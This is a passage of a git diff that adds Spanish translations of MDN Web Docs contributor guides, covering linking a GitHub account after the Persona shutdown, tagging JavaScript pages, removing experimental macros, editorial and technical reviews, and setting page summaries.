+<p><em>Agregue esto solo si hay un ejemplo. Sin enlace roto aqui.</em></p>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush:css"><em>elementName {
+  </em>property<em>: value;
+  estoes: "ejemplo";
+  dream: 10000000mm;
+  amor: "peligro";
+}</em></pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html"><em>&lt;elementName&gt;foo bar&lt;/elementName&gt;</em></pre>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p><em>{{EmbedLiveSample("Examples")}}</em></p>
+
+<h2 id="Specifications" name="Specifications">Especificaciones</h2>
+
+<p><em>Utilizar exclusivamente esta tabla estándar. Coloque la especificación más antigua en la parte inferior. Use las plantillas SpecName() para el nombre y Spec2() para el estado. De esa manera, cuando la especificación progresa en el estándar, o se mueve, el contenido de la tabla se adaptará automáticamente.</em></p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Animations", "#fake-link", "fake-value")}}</td>
+   <td>{{Spec2("CSS3 Animations")}}</td>
+   <td>Sin cambios desde CSS 2.1</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS2.1", "#fake-link", "fake value")}}</td>
+   <td>{{Spec2("CSS2.1")}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilidad del navegador</h2>
+
+<p><em>(Ver <a href="/Project:en/Compatibility_tables" title="Project:en/Compatibility_tables">Tablas de compatibilidad</a> para más información)</em></p>
+
+<h2 id="See_also" name="See_also">Ver también</h2>
+
+<ul>
+ <li><em>Enlaces de propiedades relacionadas: {{Cssxref("ejemplo-propiedad")}}</em></li>
+ <li><em>Enlaces al artículo que muestra cómo usar la propiedad en contexto: "Usando ... artículo"</em></li>
+ <li><em>Use buenos enlaces externos. No tenga miedo de los enlaces externos, pero estos deberían ser sobresalientes, y no solo mencionar detalles menores.</em></li>
+</ul>
diff --git a/files/es/mdn/contribute/howto/enlace_cuenta_github/index.html b/files/es/mdn/contribute/howto/enlace_cuenta_github/index.html
new file mode 100644
index 0000000000..825081aead
--- /dev/null
+++ b/files/es/mdn/contribute/howto/enlace_cuenta_github/index.html
@@ -0,0 +1,110 @@
+---
+title: Como unir tu cuenta GitHub a tu perfil MDN
+slug: MDN/Contribute/Howto/enlace_cuenta_GitHub
+translation_of: Archive/MDN/Howto_Link_a_Github_account
+---
+<div>{{MDNSidebar}}</div>
+
+<div>{{IncludeSubnav("/en-US/docs/MDN")}}</div>
+
+<div class="note">
+<p><strong>Note: </strong>Support for Persona logins on MDN was disabled on November 1, 2016. The method for adding a Github account to your profile therefore no longer works. If you didn't add a GitHub login to your MDN account before we disabled Persona logins, please <strong>file an <a class="external external-icon" href="https://mzl.la/accounthelp">"Account Help" bug</a> </strong>on Bugzilla. For further reading about the end of life of Persona, see: <a href="https://wiki.mozilla.org/Identity/Persona_Shutdown_Guidelines_for_Reliers">Persona shutdown guidelines</a>.</p>
+</div>
+
+<p><span class="seoSummary">Debido a que el sistema de autentificacion de <a href="https://login.persona.org/">Persona</a>  Mozilla esta siendo cerrado, todos los usuarios que deseen contribuir a MDN necesitaran otra manera de ingresar desde el 1 de Noviembre del 2016. Actualmente, la unica alternativa soportada es  GitHub, debido a esto necesitaras una cuenta en <a href="https://github.com/">GitHub</a> para editar y contribuir apartir de esta fecha. Este articulo describe como añadir la autentificacion de GitHub  a tu perfil MDN.</span></p>
+
+<div class="warning">
+<p>Debes hacer esto antes del 1 de Noviembre de 2016, o no tendras modo de ingresar a MDN!</p>
+</div>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Añadir la autentificacion mediamte GitHub a tu cuenta no es dificíl. Entraremos en detalle más adelante, pero primero, aqui hay una pequeña lista de pasos necesarios:</p>
+
+<ol>
+ <li><a href="/en-US/docs/MDN/Signing_in">ingresa a tu cuenta MDN</a> mediante Persona.</li>
+ <li>Ve a la pagina <a href="https://developer.mozilla.org/en-US/users/account/connections">cuentas asosiadas</a>.</li>
+ <li>Añade la autentificacion GitHub.</li>
+</ol>
+
+<h2 id="Instrucciones_Detalladas">Instrucciones Detalladas</h2>
+
+<p>Esta es una guia paso a paso de todo lo que necesitas saber.</p>
+
+<h3 id="Ingresar_a_tu_cuenta_MDN">Ingresar a tu cuenta MDN</h3>
+
+<ol>
+ <li>En la parte superior de la pagina de MDN, hubica el mouse sobre <strong>Registrarse </strong>o da tap para llegara este cuadro. aqui se muestran los metodos de autentificacion disponibles, <strong>Persona</strong> y <strong>GitHub</strong>.<br>
+  <img alt="Sign in box on MDN, showing Persona and Github." src="https://mdn.mozillademos.org/files/13773/Persona%20Sign%20in%202016-08.png" style="border-style: solid; border-width: 1px; height: 162px; width: 414px;"></li>
+ <li>Seleciona <strong>Persona</strong>, y usa tus datos de usuario usuales. si obtienes un error de inicio no reconocido, asegurese de estar ingresando la cuenta de correo con la que se unio a MDN, esta puede ser su direccion de correo usual. Si aún tienes problemas, mira {{anch("Persona no me reconoce")}}.</li>
+</ol>
+
+<h3 id="Ir_a_la_pagina_cuentas_asociadas">Ir a la pagina "cuentas asociadas"</h3>
+
+<p>Existen dos maneras de llegara esta pagina.</p>
+
+<p>La primera y mas gacil es dar click en el siguiente link.</p>
+
+<p>Otra manera seria, haciendo:</p>
+
+<ol>
+ <li>Dar Click en tu nombre de usuario en la parte superior de cualquier pagina MDN. (en la misma posicion donde aparecia <strong>Registrarse</strong> cuando aún no habia ingresado.) Esta lo enviara a su pagina de perfil.</li>
+ <li>Abra el "menu", y da click en <strong>Cuentas Asociadas</strong>.<br>
+  <img alt='Gear menu in profile, showing the "Account connections" option' src="https://mdn.mozillademos.org/files/13428/SheppyWork___MDN_-__Private_Browsing_.png" style="height: 217px; width: 219px;"></li>
+</ol>
+
+<h3 id="Añadir_autentificación_GitHub">Añadir autentificación GitHub</h3>
+
+<p>You're now on the "Account connections" page, which lists the external accounts you've already linked to your MDN profile. If GitHub is already listed, congratulations! You're ready to go! But test it to be sure you remember your password, by signing out of MDN and signing back in using your GitHub credentials.</p>
+
+<p>If GitHub isn't already listed, then near the bottom of the page, look below the list of already-linked external accounts. There you'll find a section called <strong>Connect a new account</strong>, which lists the types of accounts you can connect to your MDN profile. It looks something like this:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13430/Account_Connections___MDN_-__Private_Browsing_.png" style="height: 79px; width: 476px;"></p>
+
+<p>To add GitHub:</p>
+
+<ol>
+ <li>Click  <strong>Connect with GitHub</strong>. MDN will contact GitHub to request  permission to link the accounts.  If you're not already signed in to GitHub, you'll be asked to do so:<br>
+  <img alt="Screenshot of GitHub sign in window." src="https://mdn.mozillademos.org/files/13444/GitHub_Sign_In.png" style="height: 447px; width: 356px;"></li>
+ <li>If you have two-factor authentication enabled on your GitHub account, you'll be asked to enter your authentication code:<br>
+  <img alt="Screenshot of GitHub's Two-factor authentication window." src="https://mdn.mozillademos.org/files/13460/GitHub_-_Where_software_is_built.png" style="height: 448px; width: 361px;"></li>
+ <li>Now that you're signed in to your GitHub account, you'll be asked to authorize the link between GitHub and MDN (unless you already have this authorization on file for some reason). This page is shown below.<br>
+  <img alt='Screenshot of GitHub "Authorize application" window.' src="https://mdn.mozillademos.org/files/13456/Authorize_Mozilla_Developer_Network.png" style="height: 420px; width: 766px;"><br>
+  Click the green <strong>Authorize application</strong> button to grant permission for your MDN profile to access your GitHub account. If the GitHub account is successfully linked to your MDN profile, you'll see this message:<br>
+  <img alt="Account successfully created." src="https://mdn.mozillademos.org/files/13454/Edit_Your_Profile___MDN.png" style="height: 57px; width: 646px;"></li>
+</ol>
+
+<p>Not only can you now use GitHub to sign in to MDN, but you're actually already signed in using your GitHub authentication! You're now ready for the Persona shutdown. Be sure to update any password managers you may have installed, if necessary.</p>
+
+<h2 id="Troubleshooting">Troubleshooting</h2>
+
+<p>If you run into problems while trying to add your GitHub account to your profile, hopefully the troubleshooting tips below will help. If they don't, please don't hesitate to ask us for help on the <a href="https://chat.mozilla.org/#/room/#mdn:mozilla.org">MDN Web Docs chat room</a>.</p>
+
+<h3 id="Error_Could_not_find_profile_matching_account">Error: Could not find profile matching account</h3>
+
+<p>If you try to add your GitHub account to your profile and get the error "Could not find profile matching account," it can mean a few different things. If you have multiple accounts on your GitHub account, there may be some confusion; GitHub may not report the expected email address to MDN during the account pairing attempt, which will result in this error. Other glitches in the process may also result in the same error message.</p>
+
+<p>One way to work around this problem: open a new private window in your browser; in Firefox, for example, choose "New Private Window" in the File menu (or press <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>P</kbd> [<kbd>Cmd</kbd>-<kbd>Shift</kbd>-<kbd>P</kbd> on Mac]). Browse to MDN there, <a href="/en-US/docs/MDN/Signing_in">sign into your MDN account</a>, then try again to add your GitHub account to your profile as covered above.</p>
+
+<p>Also, be sure that when you try to log into Persona to</p>
+
+<h3 id="My_GitHub_authorization_is_not_displayed_on_the_Account_Connections_page.">My GitHub authorization is not displayed on the Account Connections page.</h3>
+
+<p>That might be a caching issue. Reloading the page or loggin out and loggin in again should solve the problem.</p>
+
+<h3 id="Persona_doesnt_remember_me">Persona doesn't remember me</h3>
+
+<p>If you try to log into Persona so you can add a GitHub login to your MDN account and get told "Your email address is new to us," this is likely because it's been long enough since you last logged into Persona that they've deleted your email address from their system. This happens after some period of time; the Persona login window looks like this in that situation:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13765/unknown-to-persona.png" style="height: 533px; width: 800px;"></p>
+
+<p>If this happens, you need to simply follow Persona's instructions to create a new password for that email address. MDN doesn't care about this process; the fact that your email address matches up is all that matters. A confirmation email will be sent to verify that you own the email address, probably from <code>no-reply@persona.org</code>. If you have spam filtering, it may be sent to your spam folder.</p>
+
+<p>Once you've finished the process of setting the password for the email address you used to log into MDN, your access to MDN will be restored. Then you can follow the steps in {{anch("Detailed instructions")}} above to add your GitHub login to your MDN account.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/MDN/Contribute/Howto/Create_an_MDN_account">How to create an MDN account</a></li>
+ <li><a href="/en-US/docs/MDN/Getting_started">Getting started on MDN</a></li>
+</ul>
diff --git a/files/es/mdn/contribute/howto/etiquetas_paginas_javascript/index.html b/files/es/mdn/contribute/howto/etiquetas_paginas_javascript/index.html
new file mode 100644
index 0000000000..42edc03ff0
--- /dev/null
+++ b/files/es/mdn/contribute/howto/etiquetas_paginas_javascript/index.html
@@ -0,0 +1,83 @@
+---
+title: Cómo etiquetar páginas Javascript
+slug: MDN/Contribute/Howto/Etiquetas_paginas_javascript
+tags:
+  - Etiquetas
+  - JavaScript
+translation_of: MDN/Contribute/Howto/Tag_JavaScript_pages
+---
+<div>{{MDNSidebar}}</div><p class="summary"><strong>Etiquetar </strong>consiste en agregar meta-información (o información adicional) a las páginas para que el contenido relacionado pueda agruparse, por ejemplo en la herramienta de búsqueda.</p>
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td><strong>¿Dónde hay que hacerlo?</strong></td>
+   <td>Dentro de <a href="/en-US/docs/Web/JavaScript/Doc_status#No_tags">páginas específicas relacionadas con JavaScript que aún no tengan etiquetas</a></td>
+  </tr>
+  <tr>
+   <td><strong>¿Qué necesitas saber para hacer esta tarea?</strong></td>
+   <td>
+    <ul>
+     <li>Conocimiento básico de código JavaScript, como saber qué es un método o una propiedad.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <td><strong>¿Cuáles son los pasos para hacerla?</strong></td>
+   <td>
+    <ol>
+     <li>Elige una de las páginas del la lista que se encuentra en el enlace anterior.</li>
+     <li>Haz Click en el enlace del artículo para cargar la página.</li>
+     <li>Una vez cargada la página, haz click en el botón <strong>EDIT</strong> cerca de la parte superior ( esto te coloca en el editor MDN).</li>
+     <li>Cómo mínimo se debería agregar la etiqueta <code>JavaScript</code>. Aquí hay otras etiquetas que se pueden agregar:</li>
+     <li><br>
+      <table class="standard-table">
+       <thead>
+        <tr>
+         <th scope="col">Tag</th>
+         <th scope="col">What pages to use it on</th>
+        </tr>
+       </thead>
+       <tbody>
+        <tr>
+         <td><code>Method</code></td>
+         <td>métodos</td>
+        </tr>
+        <tr>
+         <td><code>Property</code></td>
+         <td>propiedades</td>
+        </tr>
+        <tr>
+         <td><code>prototype</code></td>
+         <td>prototipos</td>
+        </tr>
+        <tr>
+         <td>Object type name</td>
+         <td>métodos de un objeto; por ejemplo String.fromCharCode debería llevar la etiqueta <code>String</code></td>
+        </tr>
+        <tr>
+         <td><code>ECMAScript6 </code>and <code>Experimental</code></td>
+         <td>características agregadas en una nueva versión ECMAScript</td>
+        </tr>
+        <tr>
+         <td><code>Deprecated</code></td>
+         <td>características desaprobadas (cuyo uso está desaconsejado pero aún tiene soporte)</td>
+        </tr>
+        <tr>
+         <td><code>Obsolete</code></td>
+         <td>características obsoletas (que ya no tienen soporte en los navegadores modernos)</td>
+        </tr>
+        <tr>
+         <td>others</td>
+         <td>Ver <a href="/en-US/docs/Project:MDN/Contributing/Tagging_standards">Mestándares de etiquetado MDN</a> para otras etiquetas posibles a aplicar</td>
+        </tr>
+       </tbody>
+      </table>
+     </li>
+     <li>Guarda con un comentario.</li>
+     <li>¡Y Listo!</li>
+    </ol>
+   </td>
+  </tr>
+ </tbody>
+</table>
+<p> </p>
diff --git a/files/es/mdn/contribute/howto/index.html b/files/es/mdn/contribute/howto/index.html
new file mode 100644
index 0000000000..611bc03e83
--- /dev/null
+++ b/files/es/mdn/contribute/howto/index.html
@@ -0,0 +1,15 @@
+---
+title: Guías prácticas
+slug: MDN/Contribute/Howto
+tags:
+  - Documentation
+  - Landing
+  - MDN
+  - TopicStub
+translation_of: MDN/Contribute/Howto
+---
+<div>{{MDNSidebar}}</div><div>{{IncludeSubnav("/es/docs/MDN")}}</div>
+
+<p>Estos artículos proveen guías paso a paso para lograr metas específicas cuando se contribuye a MDN.</p>
+
+<p>{{LandingPageListSubpages}}</p>
diff --git a/files/es/mdn/contribute/howto/remover_macros_experimentales/index.html b/files/es/mdn/contribute/howto/remover_macros_experimentales/index.html
new file mode 100644
index 0000000000..25ee6439cd
--- /dev/null
+++ b/files/es/mdn/contribute/howto/remover_macros_experimentales/index.html
@@ -0,0 +1,48 @@
+---
+title: Cómo y cuándo eliminar macros "experimentales"
+slug: MDN/Contribute/Howto/Remover_Macros_Experimentales
+tags:
+  - Experimental
+  - Guía
+  - MDN Meta
+  - Macros
+translation_of: MDN/Contribute/Howto/Remove_Experimental_Macros
+---
+<div>{{MDNSidebar}}{{IncludeSubnav("/en-US/docs/MDN")}}</div>
+
+<p class="summary">Las páginas en MDN pueden incluir<span class="seoSummary"><a href="/en-US/docs/MDN/Contribute/Structures/Macros">macros</a></span>KumaScriptpara notificar a los lectores que una característica es experimental y aún no está estandarizada. Sin embargo, algún elementos experimental pueden estandarizarse y sin embargo su página todavía no refleja este cambio. Puedes ayudar a mejorar MDN revisando las páginas que contienen estas macros "experimentales" y eliminando las macros de los elementos que ya no son experimentales.</p>
+
+<p>Las macros en cuestión son {{TemplateLink("experimental_inline")}} para marcar un elemento mencionado en una página, y {{TemplateLink("SeeCompatTable")}} para marcar toda la página.</p>
+
+<div class="blockIndicator warning" style="background: #fff3d4; border-color: #f6b73c;">
+<p><strong>Advertencia:</strong> ya no recomendamos usar<code>SeeCompatTable</code>. Ahora se espera que todos los datos sobre compatibilidad se presenten dentro de la tabla de compatibilidad del navegador y cualquier nota al pie de página.</p>
+</div>
+
+<p>Aquí está la definición de <a href="/en-US/docs/MDN/Contribute/Guidelines/Conventions_definitions">experimental</a> del artículo <a href="/en-US/docs/MDN/Contribute/Guidelines/Conventions_definitions">MDN Definitions and Conventions</a>:</p>
+
+<p><strong>¿Dónde debe hacerse esta tarea?</strong></p>
+
+<p>Páginas en las siguientes listas:</p>
+
+<dl>
+ <dd>
+ <ul>
+  <li><a href="https://developer.mozilla.org/search?kumascript_macros=experimental_inline&amp;locale=*" rel="nofollow noopener">Todas las páginas que usan <code>\{{Experimental_Inline}}</code></a> (list item icon)</li>
+  <li><a href="https://developer.mozilla.org/search?kumascript_macros=experimental_inline&amp;locale=en-US" rel="nofollow noopener">Todas las páginas en Inglés que usan <code>\{{Experimental_Inline}}</code></a> (list item icon)</li>
+  <li><a href="https://developer.mozilla.org/en-US/search?kumascript_macros=SeeCompatTable&amp;locale=*" rel="nofollow noopener">Todas las páginas en MDN que usan <code>\{{SeeCompatTable}}</code></a> (page banner)</li>
+  <li><a href="https://developer.mozilla.org/en-US/search?kumascript_macros=SeeCompatTable&amp;locale=en-US" rel="nofollow noopener">Todas las páginas en Ingles <code>que usan \{{SeeCompatTable}}</code></a> (page banner)</li>
+ </ul>
+ </dd>
+ <dt>¿Qué necesitas saber para hacer la tarea?</dt>
+ <dd>Conocimiento del estado de estandarización o implementación del elemento relevante.</dd>
+ <dt>¿Cuáles son los pasos para hacer la tarea?</dt>
+ <dd>
+ <ol>
+  <li>Revise la página para ver con qué elemento o elementos está asociada la macro.</li>
+  <li>Determine si cada elemento sigue siendo experimental o no. La tabla de compatibilidad en la página puede ser más actual que las macros; También puede probar utilizando el elemento en varios navegadores.</li>
+  <li>Si un elemento ya no es experimental, elimine la llamada de macro "experimental" asociada a él. (Nota: un elemento en una página de resumen que tiene la macro {{TemplateLink ("experimental_inline")}} al lado suele ser un enlace a una página de referencia completa, que contiene la macro {{TemplateLink ("SeeCompatTable")}}.</li>
+  <li>Guarde la página con un comentario sobre lo que hizo.</li>
+  <li>Si ha eliminado todas las macros "experimentales" de una página (para las macros en línea, puede eliminar solo algunas de ellas), fuerce una actualización (Mayús + Actualizar) en la página de resultados de búsqueda relevante (vinculada anteriormente) para asegurarse de que la lista esté actualizado.</li>
+ </ol>
+ </dd>
+</dl>
diff --git a/files/es/mdn/contribute/howto/revision_editorial/index.html b/files/es/mdn/contribute/howto/revision_editorial/index.html
new file mode 100644
index 0000000000..454da031a0
--- /dev/null
+++ b/files/es/mdn/contribute/howto/revision_editorial/index.html
@@ -0,0 +1,54 @@
+---
+title: Cómo hacer una revisión editorial
+slug: MDN/Contribute/Howto/revision_editorial
+tags:
+  - Cómo hacerlo
+  - Documentación
+  - Guía
+  - Revisiones
+translation_of: MDN/Contribute/Howto/Do_an_editorial_review
+---
+<div>{{MDNSidebar}}</div>
+
+<p class="summary"><strong>La revisión editorial consiste en reparar errores tipográficos y de ortografía</strong>, gramática, o errores de uso en un artículo. No todos los contribuyentes son expertos en escribir en español, pero gracias a su conocimiento han contribuído en los artículos en enorme cantidad, los cuales necesitan correcciones y revisiones. Esto se hace en la revisión editorial.</p>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td><strong>¿Cuál es la tarea?</strong></td>
+   <td> Verificar y corregir la gramática, ortografía y contexto de los artículos.</td>
+  </tr>
+  <tr>
+   <td><strong>¿Dónde hay que hacerla?</strong></td>
+   <td>Dentro de artículos específicos que están marcados como que requieren una revisión editorial.</td>
+  </tr>
+  <tr>
+   <td><strong>¿Qué necesitas saber para hacer la tarea?</strong></td>
+   <td>Necesitas tener buen manejo de la gramática española y su ortografía.</td>
+  </tr>
+  <tr>
+   <td><strong>¿Cuáles son los pasos para hacerlo?</strong></td>
+   <td>
+    <ol>
+     <li>Elige un artículo:
+      <ol>
+       <li>Ve a la lista de <a href="/es/docs/needs-review/editorial">artículos que necesitan revisión editorial</a>.  Esto lista todas las páginas para las que se solicitó una revisión editorial.</li>
+       <li>Elige una página que tenga un título en español y cuya ruta no empiece con <code>Template:</code>.</li>
+       <li>Haz click en el enlace del artículo para cargar la página.</li>
+      </ol>
+     </li>
+     <li>Una vez cargada la página, haz click en el boton editar (<strong>EDIT)</strong> de la parte superior; esto te lleva al <a href="/es/docs/Project:MDN/Contributing/Editor_guide">editor MDN</a>. No dudes en cambiar a una página diferente si la primera que eliges no te conviene.</li>
+     <li>Corrige todos los errores tipográficos y ortográficos, gramática, o de uso que veas.</li>
+     <li>Ingresa un <strong>Comentario Revisión </strong>en la parte superior del artículo; algo como "Revisión editorial<em>: errores de tipografía, gramática y ortografía <em>reparados</em>."</em></li>
+     <li>Haz click en el boton <strong>GUARDAR LOS CAMBIOS (SAVE CHANGES)</strong>.</li>
+     <li>Una vez que el artículo corregido aparezca en la pantalla después de haberse cerrado el editor, marca la entrada <strong>Editorial</strong> al costado debajo de <strong>Se han solicitado las siguientes revisiones</strong> (<strong>The following reviews have been requested) </strong>y haz click en <strong>ENVIAR REVISION (SUBMIT REVIEW)</strong>.</li>
+     <li>
+      <p>¡Listo!</p>
+     </li>
+    </ol>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p> </p>
diff --git a/files/es/mdn/contribute/howto/revision_tecnica/index.html b/files/es/mdn/contribute/howto/revision_tecnica/index.html
new file mode 100644
index 0000000000..e1fc2d5d5a
--- /dev/null
+++ b/files/es/mdn/contribute/howto/revision_tecnica/index.html
@@ -0,0 +1,44 @@
+---
+title: Cómo hacer una revisión técnica
+slug: MDN/Contribute/Howto/revision_tecnica
+translation_of: MDN/Contribute/Howto/Do_a_technical_review
+---
+<div>{{MDNSidebar}}</div><p class="summary"><strong>La revisión técnica consiste en revisar la precisión técnica y lo completo que se encuentra un artículo</strong>, y corregirlo si es necesario. Si un escritor de un artículo quiere que alguien más chequee su contenido técnico, debe marcar la casilla "Revisión Técnica" (Technical review) al editarlo. A menudo el escritor contacta a un ingeniero específico para desempeñar la revisión técnica, pero cualquiera con habilidad técnica en el tema puede hacerla.</p>
+
+<p><span class="seoSummary">Este artículo describe cómo hacer para ejecutar una revisión técnica, ayudando así a asegurar que el contenido de MDN es preciso.</span></p>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td><strong>¿Dónde hay que hacerla?</strong></td>
+   <td>En artículos específicos marcados requiriendo <a href="/en-US/docs/needs-review/technical">revisión técnica</a>.</td>
+  </tr>
+  <tr>
+   <td><strong>¿Qué necesitas saber para hacer la tarea?</strong></td>
+   <td>
+    <ul>
+     <li>Conocimiento experto del tema del artículo que estás revisando.</li>
+     <li>Habilidad para editar un artículo wiki en MDN.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <td><strong>¿Cuáles son los pasos para hacerlo?</strong></td>
+   <td>
+    <ol>
+     <li>Vé a la lista de páginas que necesitan <a href="/en-US/docs/needs-review/technical">revisiones técnicas</a>. Ésta lista todas las páginas para las cuales se solicitó revisión técnica.</li>
+     <li>Elige una página con cuyo tema estés muy familiarizado.</li>
+     <li>Haz click en el enlace del artículo para cargar la página.</li>
+     <li>Una vez cargada la página, haz click en el botón  <strong>EDITAR (EDIT)</strong> de la parte superior; esto te lleva al editor MDN. No dudes en cambiar a una página diferente si la primera que eliges no te conviene.</li>
+     <li>Mientras lees el artículo, corrige cualquier información técnica que no esté correcta y agrega cualquier información importante que falte.</li>
+     <li>Ingresa un comentario al pie del artículo que describa lo que hiciste, como "Revisión técnica completa". Si corregiste la información, incluye eso en tu comentario, por ejemplo "<em>Revisión Técnica: descripciones de parámetros arregladas".</em></li>
+     <li>Haz click en el botón <strong>GUARDAR LOS CAMBIOS (SAVE CHANGES)</strong>.</li>
+     <li>Una vez que corregiste el artículo aparece en la pantalla después que el editor se haya cerrado, chequea la entrada <strong>Técnica</strong> al costado, debajo de <strong>Las siguientes revisiones han sido solicitadas (The following reviews have been requested</strong>) y haz click en <strong>ENVIAR REVISIÓN (SUBMIT REVIEW)</strong>.</li>
+     <li>Y listo!</li>
+    </ol>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p> </p>
diff --git a/files/es/mdn/contribute/howto/set_the_summary_for_a_page/index.html b/files/es/mdn/contribute/howto/set_the_summary_for_a_page/index.html
new file mode 100644
index 0000000000..26f62b04a2
--- /dev/null
+++ b/files/es/mdn/contribute/howto/set_the_summary_for_a_page/index.html
@@ -0,0 +1,118 @@
+---
+title: Cómo colocar el resumen de una página
+slug: MDN/Contribute/Howto/Set_the_summary_for_a_page
+tags:
+  - Documentación
+  - Resumen
+  - SEO
+  - Summary
+  - primeros pasos
+translation_of: MDN/Contribute/Howto/Set_the_summary_for_a_page
+---
+<div>{{MDNSidebar}}</div>
+
+<div>
+<div>{{IncludeSubnav("/en-US/docs/MDN")}}</div>
+
+<div>
+<p>En este artículo te mostraremos cómo configurar el <strong>resumen SEO</strong> (también conocido como la descripción o simplemente como el resumen) de un artículo en el sitio de MDN Web Docs. El resumen se usa de varias maneras:</p>
+
+<ul>
+ <li>Lo utilizan Google y otros motores de búsqueda para ayudar a catalogar e indexar páginas.</li>
+ <li>Los motores de búsqueda muestran el resumen en las páginas de resultados de búsqueda para ayudar a los lectores a elegir la página que mejor se adapte a sus necesidades.</li>
+ <li>Los menús de MDN a menudo muestran el resumen debajo del título del artículo para ayudar a los usuarios a encontrar la información que buscan.</li>
+ <li>Los enlaces en MDN tienen información sobre las herramientas del resumen, para proporcionar una visión rápida a los usuarios sin tener que hacer clic en el artículo en sí.</li>
+</ul>
+
+<p>Por lo tanto, el resumen debe ser un texto que tenga sentido tanto en el contexto del artículo como cuando se presenta solo en otros contextos. Se debe tener en cuenta la guía de estilo de escritura MDN al escribir el texto de resumen.</p>
+</div>
+</div>
+
+<h2 id="El_resumen_predeterminado">El resumen predeterminado</h2>
+
+<p>Las páginas para las que no se ha establecido un resumen toman como resumen el texto completo del primer bloque de {{Glossary("HTML")}} que parezca tener contenido de texto en lugar de un título. Sin embargo, este texto puede no se el mejor para usar por varias razones:</p>
+
+<ul>
+ <li>Si el primer bloque de texto es una nota recordatoria en lugar de una descripción general útil del contenido del artículo.</li>
+ <li>Si el primer bloque de texto es un párrafo de contenido pero no contiene una buena descripción general del artículo.</li>
+ <li>El texto es demasiado largo (o demasiado corto).</li>
+</ul>
+
+<p>Por esto es mejor establecer explícitamente el resumen de la página, para ayudar a garantizar que el resumen sea lo más útil posible.</p>
+
+<h2 id="Estableciendo_el_resumen">Estableciendo el resumen</h2>
+
+<p>Veamos cómo configurar el resumen de una página.</p>
+
+<h3 id="¿Cuál_es_la_tarea">¿Cuál es la tarea?</h3>
+
+<p>Marcar el texto dentro de una página que debe usarse como resumen en otros contextos; Si el texto apropiado no está disponible, esta tarea puede incluir escribir una pequeña cantidad de texto apropiado.</p>
+
+<h3 id="¿Dónde_necesita_ser_hecho">¿Dónde necesita ser hecho?</h3>
+
+<p>En las páginas que carecen de un resumen, las que tengan un resumen que no sea útil, o que tengan un resumen que no cumpla innecesariamente con las pautas recomendadas.</p>
+
+<h3 id="¿Qué_necesitas_saber_para_hacer_la_tarea">¿Qué necesitas saber para hacer la tarea?</h3>
+
+<p>Necesitas saber usar el editor MDN. También necesitas buenas habilidades de escritura y familiaridad con el tema de la página a resumir.</p>
+
+<h3 id="¿Cuáles_son_los_pasos_para_hacerlo">¿Cuáles son los pasos para hacerlo?</h3>
+
+<ol>
+ <li>Elige una página a la que quieras colocarle un resumen:
+  <ol>
+   <li>En la página de <a href="/en-US/docs/MDN/Doc_status">estado de la documentación MDN</a>, haz clic en el enlace debajo de  <strong>Secciones (Sections)</strong> para un tema en el que tengas conocimientos (por ejemplo, HTML).<br>
+    <img alt="" src="https://mdn.mozillademos.org/files/8681/sections.png" style="height: 272px; width: 1053px;"></li>
+   <li>En la página de estado de la documentación del tema, haz clic en la cabecera <strong>Páginas (Pages) </strong>de la tabla <strong>Resumen (Su</strong><strong>mmary)</strong>. Esto te va a llevar a un índice de todas las páginas en esa sección del tema. Muestra los enlaces de la página en la columna izquierda y las etiquetas y resúmenes en la columna derecha.<br>
+    <img alt="" src="https://mdn.mozillademos.org/files/8675/pages.png" style="height: 188px; width: 826px;"></li>
+   <li>Elige una página en la que falte el resumen o que tenga uno pobre.<br>
+    <img alt="" src="https://mdn.mozillademos.org/files/8677/summary.png" style="height: 64px; width: 497px;"></li>
+   <li>Haz clic en el enlace para ir a esa página.</li>
+  </ol>
+ </li>
+ <li>Haz clic en <strong>Editar (Edit)</strong> para abrir la página en el editor MDN.</li>
+ <li>Busca una oración o dos que anden como resumen fuera del contexto. Si fuera necesario, edita el contenido existente para crear o modificar las oraciones y así obtener un buen resumen.</li>
+ <li>Selecciona el texto a usar como resumen.</li>
+ <li>En el widget <em>Estilos (Styles)</em> de la barra de herramientas del editor selecciona <strong>Resumen SEO (SEO Summary)</strong>. (En el código fuente de la página, esto crea un elemento  {{HTMLElement("span")}} con <code>class="seoSummary"</code> encerrando el texto seleccionado).<br>
+  <img alt="" src="https://mdn.mozillademos.org/files/8679/styles.png" style="height: 388px; width: 676px;"></li>
+ <li>Guarda tus cambios con un comentario de revisión como "Coloqué el resumen a la página".</li>
+</ol>
+
+<h2 id="Elaboración_de_un_buen_resumen">Elaboración de un buen resumen</h2>
+
+<p>El resumen se utiliza en diversos escenarios entre los que se pueden incluir:</p>
+
+<ul>
+ <li>La descripción del artículo en las páginas de resultados de búsqueda en MDN así como en Google y otros motores de búsqueda.</li>
+ <li>La descripción del artículo en los menús y páginas de aterrizaje de temas en MDN.</li>
+ <li>Las descripciones emergentes contextuales cuando el usuario pasa el cursor sobre los enlaces a los artículos en MDN.</li>
+</ul>
+
+<p>Es importante tener presentes estos escenarios mientras se crea un resumen. Para garantizar que el resumen funcione bien en todas estas situaciones, esfuérzate por ceñirte a las pautas que se indican a continuación.</p>
+
+<div class="blockIndicator note">
